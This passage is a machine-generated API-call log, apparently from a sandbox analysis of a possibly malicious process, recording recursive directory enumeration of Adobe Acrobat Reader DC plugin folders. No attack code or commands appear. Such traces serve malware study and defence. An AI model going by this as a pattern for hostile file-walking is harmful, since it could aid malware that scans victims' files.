dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0275.597] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.597] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.597] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.597] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0275.597] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0275.597] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0275.597] FindClose (in: hFindFile=0x3315a30 | out: hFindFile=0x3315a30) returned 1 [0275.598] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0275.598] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0275.598] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 1 [0275.598] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0275.598] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\plugins\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33159b0 [0275.599] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.599] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 1 [0275.599] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0275.599] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\plugins\\rhp\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315bf0 [0275.600] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.600] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xf7a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="createpdfupsell-app-selector.js", cAlternateFileName="CREATE~2.JS")) returned 1 [0275.600] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2771, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="createpdfupsell-app-tool-view.js", cAlternateFileName="CREATE~1.JS")) returned 1 [0275.600] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2771, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="createpdfupsell-app-tool-view.js", cAlternateFileName="CREATE~1.JS")) returned 0 [0275.600] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0275.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0275.600] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0275.600] FindClose (in: hFindFile=0x33159b0 | out: hFindFile=0x33159b0) returned 1 [0275.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0275.601] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0275.601] FindClose (in: hFindFile=0x3315af0 | out: hFindFile=0x3315af0) returned 1 [0275.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0275.601] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0275.601] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0275.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5050048 | out: hHeap=0x670000) returned 1 [0275.601] FindNextFileW (in: hFindFile=0x3315bb0, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dc-annotations", cAlternateFileName="DC-ANN~1")) returned 1 [0275.601] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5050048 [0275.601] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\dc-annotations\\*", lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0275.603] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.603] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0275.603] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0275.603] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\dc-annotations\\css\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0275.605] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.605] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0275.605] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0275.605] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0275.605] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0275.605] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0275.605] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\dc-annotations\\js\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0275.606] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.606] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2d73c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0275.606] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2d73c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 0 [0275.606] FindClose (in: hFindFile=0x3315b30 | out: hFindFile=0x3315b30) returned 1 [0275.606] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0275.606] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0275.606] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0275.606] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5050048 | out: hHeap=0x670000) returned 1 [0275.606] FindNextFileW (in: hFindFile=0x3315bb0, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop-connector-files", cAlternateFileName="DESKTO~2")) returned 1 [0275.606] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5050048 [0275.606] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\*", lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315b70 [0275.608] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.609] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0275.609] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0275.609] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\css\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0275.610] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.610] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x322, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0275.610] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xcf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 1 [0275.611] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b7c046, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b7c046, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b7c046, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xcf1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 0 [0275.611] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0275.611] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0275.611] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0275.611] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0275.611] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 